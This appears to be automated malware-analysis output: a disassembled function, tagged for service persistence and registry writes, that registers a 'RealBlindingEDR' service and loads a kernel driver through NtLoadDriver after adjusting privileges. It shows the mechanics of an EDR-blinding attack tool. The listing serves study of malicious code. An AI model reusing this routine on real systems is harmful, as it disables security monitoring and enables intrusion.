Function at 0x1400401bb
Capabilities:
Persist via windows service
Set registry value

Disassembly:
jmp 0x140047340
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1400ed0a5]
call fcn.140040f62
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SystemCurrentControlSet
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140047660
lea r8, [rbp + 0x28]
lea rdx, str.RealBlindingEDR
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140047660
mov edx, 1
mov ecx, 0x400
call fcn.14003fb12
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400473d8
xor eax, eax
jmp 0x14004766e
lea rcx, [0x1400c7918]
call fcn.14003f559
mov r8, rax
lea rdx, [0x1400c7918]
mov rcx, qword [rbp + 0x48]
call fcn.14003f716
mov rcx, qword [0x1400e03c8]
call fcn.14003f559
mov qword [rbp + 0x248], rax
lea rcx, [0x1400c7918]
call fcn.14003f559
mov rcx, qword [rbp + 0x48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x248]
mov r8, rcx
mov rdx, qword [0x1400e03c8]
mov rcx, rax
call fcn.14003f716
mov rcx, qword [rbp + 0x48]
call fcn.14003f559
inc rax
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140047483
lea rcx, str.Step1_Error_n
call fcn.14003f68f
xor eax, eax
jmp 0x14004766e
lea rax, [rbp + 0x64]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rbp + 0x64], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400474dc
lea rcx, str.Step2_Error_n
call fcn.14003f68f
xor eax, eax
jmp 0x14004766e
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SystemCurrentControlSet_services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14004751d
lea r8, [rbp + 0x28]
lea rdx, str.RealBlindingEDR
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
jmp 0x140047530
lea rcx, str.Step3_Error_n
call fcn.14003f68f
xor eax, eax
jmp 0x14004766e
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14004756b
lea rcx, str.Step4_Error_n
call fcn.14003f68f
xor eax, eax
jmp 0x14004766e
lea rdx, str.RtlInitUnicodeString
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
lea rdx, str.NtLoadDriver
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xe8], rax
lea rdx, str.RtlAdjustPrivilege
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea r9, [rbp + 0x124]
xor r8d, r8d
mov edx, 1
mov ecx, 0xa
call qword [rbp + pe_nt_image_headers64]
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 0
jge 0x1400475f5
lea rcx, str.Step5_Error_n
call fcn.14003f68f
xor eax, eax
jmp 0x14004766e
lea rdx, str.RegistryMachineSystemCurrentControlSetRealBlindingEDR
lea rcx, [rbp + 0x168]
call qword [rbp + 0xc8]
lea rcx, [rbp + 0x168]
call qword [rbp + 0xe8]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x14004762e
mov eax, 1
jmp 0x14004766e
cmp dword [rbp + 0x84], 0xc0000603
jne 0x140047648
lea rcx, str.The_drivers_certificate_has_been_revoked__please_wait_for_the_project_to_be_updated.._n
call fcn.14003f68f
jmp 0x14004765a
mov edx, dword [rbp + 0x84]
lea rcx, str.Error_Code:___lx._n
call fcn.14003f68f
xor eax, eax
jmp 0x14004766e
lea rcx, str.Reg_Add_Error__The_program_needs_to_be_run_with_administrator_privileges__n
call fcn.14003f68f
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400c64c0]
call fcn.1400406fc
mov rax, rdi
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret